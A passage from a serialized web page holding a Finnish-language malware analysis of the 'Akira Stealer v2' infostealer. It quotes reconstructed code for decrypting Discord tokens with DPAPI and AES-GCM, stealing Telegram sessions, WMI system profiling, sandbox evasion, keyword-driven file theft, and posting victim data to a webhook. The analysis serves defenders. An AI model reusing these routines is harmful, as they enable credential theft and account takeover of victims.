",[579,8780,8781],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," vastaa tavallisia Discord-tokeneja.",[634,8784,8785,8790],{},[568,8786,8778,8787],{},[579,8788,8789],{},"mfa\\.[\\w-]{80,95}"," kaappaa MFA-tokenit.",[634,8792,8793,8794,8797],{},"Kaksoiskappaleiden poisto on implisiittistä: tokenit tallennetaan ",[579,8795,8796],{},"self.tokens","-muuttujaan ennen validointia.",[526,8799,8800],{},[568,8801,8802],{},"Salattujen tokenien purku Discord-asiakkaassa",[526,8804,8805,8806,8808,8809,8811,8812,8815],{},"Discordin asiakas salaa Local Storage -merkinnät DPAPI:lla, etuliitteinä ",[579,8807,6538],{}," tai ",[579,8810,6542],{},". ",[579,8813,8814],{},"get_discord(path, arg)"," käsittelee tämän:",[616,8817,8819],{"className":4529,"code":8818,"language":4531,"meta":530,"style":530},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[579,8820,8821,8826,8831,8835,8840,8845,8849,8854,8858,8862,8867,8872,8877,8882,8887],{"__ignoreMap":530},[1718,8822,8823],{"class":1720,"line":1721},[1718,8824,8825],{},"# Read Local State to obtain encrypted master key\n",[1718,8827,8828],{"class":1720,"line":531},[1718,8829,8830],{},"with open(path + \"/Local State\", 'r') as f:\n",[1718,8832,8833],{"class":1720,"line":2102},[1718,8834,7137],{},[1718,8836,8837],{"class":1720,"line":2108},[1718,8838,8839],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1718,8841,8842],{"class":1720,"line":2432},[1718,8843,8844],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1718,8846,8847],{"class":1720,"line":2438},[1718,8848,3889],{"emptyLinePlaceholder":325},[1718,8850,8851],{"class":1720,"line":3096},[1718,8852,8853],{},"# Iterate LevelDB files for Base64 payloads\n",[1718,8855,8856],{"class":1720,"line":3892},[1718,8857,8736],{},[1718,8859,8860],{"class":1720,"line":3898},[1718,8861,8741],{},[1718,8863,8864],{"class":1720,"line":4144},[1718,8865,8866],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1718,8868,8869],{"class":1720,"line":5063},[1718,8870,8871],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1718,8873,8874],{"class":1720,"line":5069},[1718,8875,8876],{},"                ciphertext = b64decode(token_part)\n",[1718,8878,8879],{"class":1720,"line":5075},[1718,8880,8881],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1718,8883,8884],{"class":1720,"line":5081},[1718,8885,8886],{},"                self.tokens.append(token)\n",[1718,8888,8889],{"class":1720,"line":5087},[1718,8890,8891],{},"                self.cehckToken(token)\n",[631,8893,8894,8903],{},[634,8895,8896,8899,8900,8902],{},[568,8897,8898],{},"Pääavaimen palautus",": Poistaa 5-tavuisen DPAPI-otsikon ja kutsuu sitten ",[579,8901,7203],{},"-funktiota (joka kapseloi Windowsin DPAPI:n) purkaakseen AES-GCM-avaimen.",[634,8904,8905,8908,8909,8912,8913,8916,8917],{},[568,8906,8907],{},"Payloadin jäsentäminen",": Tokeneilla on etuliite ",[579,8910,8911],{},"dQw4w9WgXcQ:"," (hyökkääjän valitsema merkintä). Base64-dekoodauksen jälkeen ",[579,8914,8915],{},"decrypt_value()"," erottaa IV:n ja salakirjoituksen:",[616,8918,8920],{"className":4529,"code":8919,"language":4531,"meta":530,"style":530},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[579,8921,8922,8927,8932,8937,8942],{"__ignoreMap":530},[1718,8923,8924],{"class":1720,"line":1721},[1718,8925,8926],{},"def decrypt\\_value(buff, master\\_key):\n",[1718,8928,8929],{"class":1720,"line":531},[1718,8930,8931],{},"iv = buff\\[3:15]\n",[1718,8933,8934],{"class":1720,"line":2102},[1718,8935,8936],{},"payload = buff\\[15:]\n",[1718,8938,8939],{"class":1720,"line":2108},[1718,8940,8941],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1718,8943,8944],{"class":1720,"line":2432},[1718,8945,8946],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[897,8948,8950],{"id":8949},"_793-tokenien-validointi-ja-exfiltraatio","7.9.3 Tokenien validointi ja exfiltraatio",[526,8952,903],{},[526,8954,8955],{},"Jokainen poimittu token validoidaan live-API-kutsulla:",[616,8957,8960],{"className":8958,"code":8959,"language":621},[619],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[579,8961,8959],{"__ignoreMap":530},[631,8963,8964],{},[634,8965,8966,2063,8969,8972,8973,8976,8977],{},[568,8967,8968],{},"Onnistuessaan",[579,8970,8971],{},"cehckToken()"," määrittää, lähetetäänkö Telegramin (",[579,8974,8975],{},"useTg=True",") vai Discord-webhookin kautta:",[616,8978,8980],{"className":4529,"code":8979,"language":4531,"meta":530,"style":530},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[579,8981,8982,8987,8992,8997],{"__ignoreMap":530},[1718,8983,8984],{"class":1720,"line":1721},[1718,8985,8986],{},"if useTg:\n",[1718,8988,8989],{"class":1720,"line":531},[1718,8990,8991],{},"self.sendTokenTg(token)\n",[1718,8993,8994],{"class":1720,"line":2102},[1718,8995,8996],{},"else:\n",[1718,8998,8999],{"class":1720,"line":2108},[1718,9000,9001],{},"self.send\\_embed(token)\n",[631,9003,9004],{},[634,9005,9006,9011],{},[568,9007,9008],{},[579,9009,9010],{},"send_embed"," rakentaa rikkaan Discord-embedin, joka sisältää käyttäjän metatiedot (käyttäjätunnus, discriminator, sähköposti, Nitro-status, laskutustiedot) käyttäen kenttiä lähteestä",[616,9013,9016],{"className":9014,"code":9015,"language":621},[619],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[579,9017,9015],{"__ignoreMap":530},[631,9019,9020],{},[634,9021,9022,9027],{},[568,9023,9024],{},[579,9025,9026],{},"sendTokenTg"," lähettää selkokielisen yhteenvedon Telegram-API:n kautta.",[897,9029,9031],{"id":9030},"_794-telegram-istuntojen-haravointi","7.9.4 Telegram-istuntojen haravointi",[526,9033,903],{},[526,9035,9036],{},"Discord-tokenien lisäksi stealer sieppaa Telegram Desktop -istunnot:",[616,9038,9040],{"className":4529,"code":9039,"language":4531,"meta":530,"style":530},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[579,9041,9042,9046,9051,9056,9061],{"__ignoreMap":530},[1718,9043,9044],{"class":1720,"line":1721},[1718,9045,5015],{},[1718,9047,9048],{"class":1720,"line":531},[1718,9049,9050],{},"def steal_telegram():\n",[1718,9052,9053],{"class":1720,"line":2102},[1718,9054,9055],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1718,9057,9058],{"class":1720,"line":2108},[1718,9059,9060],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1718,9062,9063],{"class":1720,"line":2432},[1718,9064,9065],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[631,9067,9068,9074,9083],{},[634,9069,9070,9073],{},[568,9071,9072],{},"Prosessin päättäminen",": Varmistaa, että tiedostolukot vapautetaan.",[634,9075,9076,9079,9080,9082],{},[568,9077,9078],{},"Rekursiivinen kopiointi",": Varastaa ",[579,9081,8314],{},"-kansion, mukaan lukien käyttäjäistunnot, kontaktit ja välimuistiin tallennetut viestit.",[634,9084,9085,9087,9088,9091],{},[568,9086,1372],{},": Varastettu kansio zipataan ja ladataan ",[579,9089,9090],{},"sendFilesTG()","-funktiolla, ja latauslinkki upotetaan Telegram-viestiin.",[526,9093,9094,9095,9097],{},"Akira Stealerin ",[579,9096,8562],{},"-moduuli yhdistää regex-pohjaisen kaapimisen, DPAPI-tuetun AES-GCM-salauksenpurun, live-API-validoinnin ja moniprotokolla-exfiltraation (webhook + Telegram) tarjoten saumattoman tilin haltuunottokyvyn sekä Discord- että Telegram-alustoilla.",[748,9099,9101],{"id":9100},"_710-järjestelmän-profilointi","7.10 Järjestelmän profilointi",[526,9103,754],{},[526,9105,9106,9107,9110],{},"Akira Stealer v2 sisältää laajan järjestelmän profilointivaiheen, jossa kerätään isäntäkoneen metatiedot, ympäristöattribuutit ja verkkotiedot. Nämä tiedot kootaan ",[579,9108,9109],{},"Data","-luokkaan ja paketoidaan myöhemmin exfiltroitujen tunnistetietojen kanssa. Alla pilkomme profilointilogiikan osiin suorin koodiviittauksin.",[897,9112,9114,9115,9117],{"id":9113},"_7101-data-luokan-alustus","7.10.1 ",[579,9116,9109],{},"-luokan alustus",[526,9119,903],{},[526,9121,9122,9123,9125],{},"Käynnistyksessä luodaan ",[579,9124,9109],{},"-instanssi:",[616,9127,9129],{"className":4529,"code":9128,"language":4531,"meta":530,"style":530},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[579,9130,9131,9136,9141,9146,9151,9156,9161,9166,9171,9176],{"__ignoreMap":530},[1718,9132,9133],{"class":1720,"line":1721},[1718,9134,9135],{},"class Data:\n",[1718,9137,9138],{"class":1720,"line":531},[1718,9139,9140],{},"    def __init__(self):\n",[1718,9142,9143],{"class":1720,"line":2102},[1718,9144,9145],{},"        self.username = os.getlogin()\n",[1718,9147,9148],{"class":1720,"line":2108},[1718,9149,9150],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1718,9152,9153],{"class":1720,"line":2432},[1718,9154,9155],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1718,9157,9158],{"class":1720,"line":2438},[1718,9159,9160],{},"        ...\n",[1718,9162,9163],{"class":1720,"line":3096},[1718,9164,9165],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1718,9167,9168],{"class":1720,"line":3892},[1718,9169,9170],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1718,9172,9173],{"class":1720,"line":3898},[1718,9174,9175],{},"        self.country = ipdata.get(\"country\")\n",[1718,9177,9178],{"class":1720,"line":4144},[1718,9179,9180],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[631,9182,9183,9196],{},[634,9184,9185,9188,9189,1291,9192,9195],{},[568,9186,9187],{},"Käyttäjätunnus ja hostname:"," Haetaan funktiolla ",[579,9190,9191],{},"os.getlogin()",[579,9193,9194],{},"COMPUTERNAME","-ympäristömuuttujalla.",[634,9197,9198,9201,9202,9205,9206,9208],{},[568,9199,9200],{},"IP-osoite:"," Haetaan kutsulla ",[579,9203,9204],{},"requests.get(\"https://api.ipify.org\")"," ja paikannetaan sitten ",[579,9207,5361],{},"-palvelun kautta maan ja ISO-koodin selvittämiseksi.",[897,9210,9212],{"id":9211},"_7102-käyttöjärjestelmän-ja-laitteiston-luettelointi","7.10.2 Käyttöjärjestelmän ja laitteiston luettelointi",[526,9214,903],{},[526,9216,9217],{},"Windows Management Instrumentation (WMI) -komentoja käyttäen:",[616,9219,9221],{"className":4529,"code":9220,"language":4531,"meta":530,"style":530},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[579,9222,9223,9228,9233,9238,9243,9248,9253,9258,9263,9268,9273,9278],{"__ignoreMap":530},[1718,9224,9225],{"class":1720,"line":1721},[1718,9226,9227],{},"# Operating System\n",[1718,9229,9230],{"class":1720,"line":531},[1718,9231,9232],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1718,9234,9235],{"class":1720,"line":2102},[1718,9236,9237],{},"# Total Physical Memory\n",[1718,9239,9240],{"class":1720,"line":2108},[1718,9241,9242],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1718,9244,9245],{"class":1720,"line":2432},[1718,9246,9247],{},"# BIOS UUID\n",[1718,9249,9250],{"class":1720,"line":2438},[1718,9251,9252],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1718,9254,9255],{"class":1720,"line":3096},[1718,9256,9257],{},"# CPU Identifier\n",[1718,9259,9260],{"class":1720,"line":3892},[1718,9261,9262],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1718,9264,9265],{"class":1720,"line":3898},[1718,9266,9267],{},"# GPU Name\n",[1718,9269,9270],{"class":1720,"line":4144},[1718,9271,9272],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1718,9274,9275],{"class":1720,"line":5063},[1718,9276,9277],{},"# Windows Product Key\n",[1718,9279,9280],{"class":1720,"line":5069},[1718,9281,9282],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[526,9284,9285,9286,9289],{},"Tulokset jäsennetään ihmisluettaviksi merkkijonoiksi (",[579,9287,9288],{},"strip()",", indeksointioperaatiot) ja yhdistetään muotoon:",[616,9291,9293],{"className":4529,"code":9292,"language":4531,"meta":530,"style":530},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[579,9294,9295,9300,9305,9310,9315,9320,9325],{"__ignoreMap":530},[1718,9296,9297],{"class":1720,"line":1721},[1718,9298,9299],{},"self.system_info = (\n",[1718,9301,9302],{"class":1720,"line":531},[1718,9303,9304],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1718,9306,9307],{"class":1720,"line":2102},[1718,9308,9309],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1718,9311,9312],{"class":1720,"line":2108},[1718,9313,9314],{},"    f\"CPU: {self.cpu}\\n\"\n",[1718,9316,9317],{"class":1720,"line":2432},[1718,9318,9319],{},"    f\"GPU: {self.gpu}\\n\"\n",[1718,9321,9322],{"class":1720,"line":2438},[1718,9323,9324],{},"    f\"Product Key: {self.productKey}\"\n",[1718,9326,9327],{"class":1720,"line":3096},[1718,9328,5282],{},[897,9330,9332],{"id":9331},"_7103-vm-havaitseminen-ja-anti-sandbox-tarkistukset","7.10.3 VM-havaitseminen ja anti-sandbox-tarkistukset",[526,9334,903],{},[526,9336,9337,9338,9340],{},"Ennen syvää profilointia haittaohjelma kutsuu ",[579,9339,4701],{},"-funktiota havaitakseen virtualisointi- tai analyysiympäristöt:",[616,9342,9344],{"className":4529,"code":9343,"language":4531,"meta":530,"style":530},"if VmProtect.isVM(1):\n    sys.exit()\n",[579,9345,9346,9351],{"__ignoreMap":530},[1718,9347,9348],{"class":1720,"line":1721},[1718,9349,9350],{},"if VmProtect.isVM(1):\n",[1718,9352,9353],{"class":1720,"line":531},[1718,9354,9355],{},"    sys.exit()\n",[526,9357,9358],{},"Keskeisiä tarkistuksia ovat:",[631,9360,9361,9367,9373,9379],{},[634,9362,9363,9366],{},[568,9364,9365],{},"Rekisteriavaimet ja ajurikuvaukset",": Tekee kyselyjä virtualisointiin liittyviin rekisterimerkintöihin.",[634,9368,9369,9372],{},[568,9370,9371],{},"Estolistalla olevat UUID:t ja tietokoneiden nimet",": Vertaa tunnettuihin VM-sormenjälkiin.",[634,9374,9375,9378],{},[568,9376,9377],{},"HTTP-simulaatio",": Yrittää muodostaa yhteyden olemattomaan verkkotunnukseen HTTPS:n yli.",[634,9380,9381,9384,9385,647,9388,647,9391,726],{},[568,9382,9383],{},"Prosessien estolista",": Käynnistää taustasäikeen tappaakseen työkaluja kuten ",[579,9386,9387],{},"wireshark",[579,9389,9390],{},"ollydbg",[579,9392,9393],{},"ida64",[897,9395,9397],{"id":9396},"_7104-paketointi-ja-lähetys","7.10.4 Paketointi ja lähetys",[526,9399,903],{},[526,9401,9402,9403,9406],{},"Kerätty ",[579,9404,9405],{},"system_info",", IP ja maalippu upotetaan webhook-payloadin otsikoihin:",[616,9408,9410],{"className":4529,"code":9409,"language":4531,"meta":530,"style":530},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[579,9411,9412,9417,9422,9427,9432,9437,9442,9446],{"__ignoreMap":530},[1718,9413,9414],{"class":1720,"line":1721},[1718,9415,9416],{},"webhook_payload = {\n",[1718,9418,9419],{"class":1720,"line":531},[1718,9420,9421],{},"    \"embeds\": [{\n",[1718,9423,9424],{"class":1720,"line":2102},[1718,9425,9426],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1718,9428,9429],{"class":1720,"line":2108},[1718,9430,9431],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1718,9433,9434],{"class":1720,"line":2432},[1718,9435,9436],{},"        \"fields\": [...]\n",[1718,9438,9439],{"class":1720,"line":2438},[1718,9440,9441],{},"    }]\n",[1718,9443,9444],{"class":1720,"line":3096},[1718,9445,2441],{},[1718,9447,9448],{"class":1720,"line":3892},[1718,9449,9450],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[631,9452,9453,9459],{},[634,9454,9455,9458],{},[568,9456,9457],{},"Lippu-emoji",": Johdetaan ISO-maakoodista.",[634,9460,9461,9464],{},[568,9462,9463],{},"Kentät",": Sisältävät varastettujen salasanojen, evästeiden jne. lukumäärät, mutta järjestelmätiedot ovat embedin kuvauksessa välitöntä kontekstia varten.",[526,9466,9467,9470],{},[568,9468,9469],{},"Yhteenveto:","\nJärjestelmän profilointi Akira Stealer v2:ssa kerää kattavat isäntäkone- ja verkkotiedot WMI-komennoilla, ympäristömuuttujilla ja IP-paikannuksella. Yhdistettynä VM-havaitsemiseen ja työkalujen tappamisrutiineihin tämä varmistaa, että hyökkääjällä on täysi tilannekuva vaarannetusta ympäristöstä, mikä tehostaa kohdennettuja jatkotoimia ja suodattaa pois analyysisandboxit.",[748,9472,9474,9475,1149],{"id":9473},"_711-tiedostojen-sieppaaja-luokka-utilssteal_files","7.11 Tiedostojen sieppaaja (luokka: ",[579,9476,9477],{},"Utils.steal_files",[526,9479,754],{},[526,9481,9482],{},"Selaindatan ja tokenien lisäksi Akira yrittää poimia myös arvokasta käyttäjän luomaa sisältöä—kuten asiakirjoja, taulukoita, yksityisiä muistiinpanoja ja kryptografisia avaintiedostoja. Tiedostojen sieppaaja -moduuli vastaa tästä tehtävästä. Se toimii skannaamalla arvokkaita hakemistoja yleisten tiedostotyyppien ja kuvioiden varalta ja lisäämällä ne sitten hiljaa exfiltraatiopakettiin. Tämän moduulin tekee erityisen vaaralliseksi sen yksinkertaisuus ja fokus: se ei yritä käydä läpi koko tiedostojärjestelmää. Sen sijaan se kohdistuu tiettyihin, todennäköisiin sijainteihin, joihin arkaluonteiset tiedostot tyypillisesti tallennetaan. Näitä ovat Desktop-, Documents-, Downloads- ja OneDrive-hakemistot—kukin suhteessa käyttäjän kotipolkuun. Tämä kohdennettu lähestymistapa parantaa sekä nopeutta että huomaamattomuutta ja vähentää havaitsemisen todennäköisyyttä skannauksen aikana. Se välttää myös käyttäjän hälyttämisen jättämällä järjestelmä- tai suojatut hakemistot koskematta. Kun kiinnostavat tiedostot on paikannettu, ne kopioidaan väliaikaiseen kansioon, mahdollisesti nimetään uudelleen tai ryhmitellään ja pakataan myöhemmin lopulliseen ZIP-arkistoon, joka ladataan exfiltraatiovaiheessa.",[897,9484,9486],{"id":9485},"_7111-kohdehakemistojen-luettelointi","7.11.1 Kohdehakemistojen luettelointi",[526,9488,903],{},[526,9490,9491],{},"Stealer keskittyy neljään erittäin tuottoisaan kansioon:",[616,9493,9495],{"className":4529,"code":9494,"language":4531,"meta":530,"style":530},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[579,9496,9497,9502,9507,9512,9517,9522],{"__ignoreMap":530},[1718,9498,9499],{"class":1720,"line":1721},[1718,9500,9501],{},"searchFolders = [\n",[1718,9503,9504],{"class":1720,"line":531},[1718,9505,9506],{},"    \"Desktop\",\n",[1718,9508,9509],{"class":1720,"line":2102},[1718,9510,9511],{},"    \"Documents\",\n",[1718,9513,9514],{"class":1720,"line":2108},[1718,9515,9516],{},"    \"Downloads\",\n",[1718,9518,9519],{"class":1720,"line":2432},[1718,9520,9521],{},"    \"OneDrive\"\n",[1718,9523,9524],{"class":1720,"line":2438},[1718,9525,7963],{},[526,9527,9528],{},"Kukin kansio tulkitaan suhteessa uhrin kotihakemistoon:",[616,9530,9532],{"className":4529,"code":9531,"language":4531,"meta":530,"style":530},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[579,9533,9534,9539,9544,9549],{"__ignoreMap":530},[1718,9535,9536],{"class":1720,"line":1721},[1718,9537,9538],{},"for folder in searchFolders:\n",[1718,9540,9541],{"class":1720,"line":531},[1718,9542,9543],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1718,9545,9546],{"class":1720,"line":2102},[1718,9547,9548],{},"    if os.path.exists(current_path):\n",[1718,9550,9551],{"class":1720,"line":2108},[1718,9552,9553],{},"        # proceed to scan\n",[897,9555,9557],{"id":9556},"_7112-avainsanojen-ja-tiedostopäätteiden-suodatus","7.11.2 Avainsanojen ja tiedostopäätteiden suodatus",[526,9559,903],{},[526,9561,9562],{},[568,9563,9564],{},"Avainsanalista",[526,9566,9567],{},"Ennalta määritelty joukko osamerkkijonoja ohjaa tiedostojen valintaa. Vain tiedostonimet, jotka sisältävät vähintään yhden avainsanan, otetaan huomioon:",[616,9569,9571],{"className":4529,"code":9570,"language":4531,"meta":530,"style":530},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[579,9572,9573,9578,9583,9588],{"__ignoreMap":530},[1718,9574,9575],{"class":1720,"line":1721},[1718,9576,9577],{},"keywordsFiles = [\n",[1718,9579,9580],{"class":1720,"line":531},[1718,9581,9582],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1718,9584,9585],{"class":1720,"line":2102},[1718,9586,9587],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1718,9589,9590],{"class":1720,"line":2108},[1718,9591,7963],{},[631,9593,9594,9611],{},[634,9595,9596,9599,9600,9603,9604,586,9607,9610],{},[568,9597,9598],{},"Osittaiset osumat",": Avainsanat kuten ",[579,9601,9602],{},"passw"," kaappaavat sekä ",[579,9605,9606],{},"passwords.txt",[579,9608,9609],{},"passw_backup.docx","-tiedostot.",[634,9612,9613,9616],{},[568,9614,9615],{},"Laaja kattavuus",": Kattaa todennukseen, lompakkoon, kryptoon ja tokeneihin liittyvät termit.",[897,9618,9620],{"id":9619},"_7113-sallitut-tiedostotyypit","7.11.3 Sallitut tiedostotyypit",[526,9622,903],{},[526,9624,9625],{},"Kohinan minimoimiseksi käytössä on tiedostopäätteiden sallittujen lista:",[616,9627,9629],{"className":4529,"code":9628,"language":4531,"meta":530,"style":530},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[579,9630,9631,9636,9641,9646],{"__ignoreMap":530},[1718,9632,9633],{"class":1720,"line":1721},[1718,9634,9635],{},"allowed_extensions = [\n",[1718,9637,9638],{"class":1720,"line":531},[1718,9639,9640],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1718,9642,9643],{"class":1720,"line":2102},[1718,9644,9645],{},"    \".jpg\", \".png\"\n",[1718,9647,9648],{"class":1720,"line":2108},[1718,9649,7963],{},[897,9651,9653],{"id":9652},"_7113-kokorajoitus","7.11.3 Kokorajoitus",[526,9655,903],{},[526,9657,9658],{},"Yli 2 megatavun tiedostot ohitetaan exfiltraationopeuden optimoimiseksi ja suurten siirtojen välttämiseksi:",[616,9660,9662],{"className":4529,"code":9661,"language":4531,"meta":530,"style":530},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[579,9663,9664,9669,9674],{"__ignoreMap":530},[1718,9665,9666],{"class":1720,"line":1721},[1718,9667,9668],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1718,9670,9671],{"class":1720,"line":531},[1718,9672,9673],{},"if file_size_mb \u003C= 2:\n",[1718,9675,9676],{"class":1720,"line":2102},[1718,9677,9678],{},"    # eligible for copy\n",[897,9680,9682],{"id":9681},"_7114-rekursiivinen-skannaus-ja-kopiointilogiikka","7.11.4 Rekursiivinen skannaus ja kopiointilogiikka",[526,9684,903],{},[526,9686,9687],{},"Kun arvokkaat hakemistot on tunnistettu, Akira käynnistää rekursiivisen skannausrutiinin käydäkseen läpi alikansiot ja paikantaakseen tiettyjä avainsanoja ja tiedostopäätteitä vastaavat tiedostot. Tämä vaihe on rakennettu tarkkuutta ja huomaamattomuutta varten: vain tiedostot, jotka täyttävät ennalta määritellyt kriteerit—kuten arkaluonteisia avainsanoja sisältävät tiedostonimet ja hyväksytyt tiedostotyypit—otetaan huomioon. Logiikka varmistaa, että vain merkityksellinen, käyttäjän luoma sisältö exfiltroidaan. Se ohittaa järjestelmätiedostot, välimuistit ja binäärit ja rajoittaa yksittäisen tiedoston koon 2 megatavuun latauskoon ja havaitsemisriskin pienentämiseksi. Tämä skannausmenetelmä on hiljainen, tehokas ja optimoitu huomaamattomaan tietovarkauteen todellisissa ympäristöissä. Kopioimalla vastaavat tiedostot vaiheistuskansioon ja ylläpitämällä listaa siitä, mitä otettiin, Akira valmistelee sisällön niputukseen ja exfiltraatioon—minimoiden samalla kaksoiskappaleet ja operatiivisen kohinan.",[526,9689,9690,9691,9694],{},"Ydinrutiini ",[579,9692,9693],{},"steal_files()"," toimii seuraavasti:",[616,9696,9698],{"className":4529,"code":9697,"language":4531,"meta":530,"style":530},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[579,9699,9700,9704,9709,9714,9719,9723,9728,9733,9738,9743,9748,9753,9758,9763,9768,9773,9778,9783,9788,9793,9798,9803],{"__ignoreMap":530},[1718,9701,9702],{"class":1720,"line":1721},[1718,9703,5015],{},[1718,9705,9706],{"class":1720,"line":531},[1718,9707,9708],{},"def steal_files():\n",[1718,9710,9711],{"class":1720,"line":2102},[1718,9712,9713],{},"    stolen_files = set()\n",[1718,9715,9716],{"class":1720,"line":2108},[1718,9717,9718],{},"    temp_folder = 